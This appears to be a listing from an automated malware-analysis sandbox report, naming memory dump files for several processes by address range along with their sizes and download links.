memory/2336-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2336-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2384-6-0x0000000002210000-0x0000000002218000-memory.dmp

Filesize
32KB

Download
memory/2384-8-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2384-7-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2384-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2384-9-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2384-11-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2384-12-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2384-10-0x0000000002A40000-0x0000000002AC0000-memory.dmp

Filesize
512KB

Download
memory/2532-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2532-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2568-19-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-25-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2568-26-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-21-0x0000000000510000-0x0000000000518000-memory.dmp

Filesize
32KB

Download
memory/2568-22-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-20-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2568-24-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2568-18-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2568-23-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2624-39-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2624-35-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2624-34-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2624-37-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2624-36-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2624-40-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2624-38-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download